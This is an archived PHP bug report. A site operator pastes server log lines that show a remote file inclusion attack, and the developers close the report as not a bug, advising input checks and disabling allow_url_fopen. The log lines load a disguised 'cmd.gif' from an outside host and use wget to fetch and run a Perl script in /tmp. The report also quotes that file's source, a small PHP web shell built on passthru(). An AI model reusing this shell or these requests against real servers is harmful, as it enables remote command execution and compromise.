#30236 [Fbk->Bgs]: File Injection (Gif, Jpg, txt)

ID: 30236 Updated by: alan_k@php.net Reported By: wschow at comp dot hkbu dot edu dot hk -Status: Feedback +Status: Bogus Bug Type: *General Issues Operating System: Solaris 2.6 PHP Version: 5.0.1 New Comment: Thank you for taking the time to write to us, but this is not a bug. Please double-check the documentation available at http://www.php.net/manual/ and the instructions on how to report a bug at http://bugs.php.net/how-to-report.php check your input variables.. and/or use allow_url_fopen = off Previous Comments: ------------------------------------------------------------------------ [2004-09-26 02:29:30] rasmus@php.net What is index1.php ? ------------------------------------------------------------------------ [2004-09-26 02:02:36] wschow at comp dot hkbu dot edu dot hk Description: ------------ It seems that PHP 5.0.2 has file injection problem as such: 200.164.94.78 - - [25/Sep/2004:08:29:37 +0800] "GET /~ABC/test/index1.php?page =http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20tmp/rm%20-rf%20bnc.pl;rm%20-rf%20 bnc.pid HTTP/1.1" 200 6714 200.165.82.160 - - [25/Sep/2004:23:02:24 +0800] "GET /~ABC/test/index1.php?pag e=http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20/tmp;wget%20members.lycos.co.uk/ spakk/bnc.pl HTTP/1.1" 200 7139 200.165.82.160 - - [25/Sep/2004:23:04:35 +0800] "GET /~ABC/test/index1.php?pag e=http://h4ck3rscan.port5.com/cmd.gif?&cmd=cd%20/tmp;perl%20bnc.pl%20-p%201718%2 0-s%20cfcfclols HTTP/1.1" 200 6714 In http://h4ck3rscan.port5.com/cmd.gif, it shows the source: <? // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt ) if (isset($chdir)) @chdir($chdir); ob_start(); passthru("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", "&gt;", str_replace("<", "&lt;", $output)); ?> Any solutions? ------------------------------------------------------------------------ -- Edit this bug report at http://bugs.php.net/?id=30236&edit=1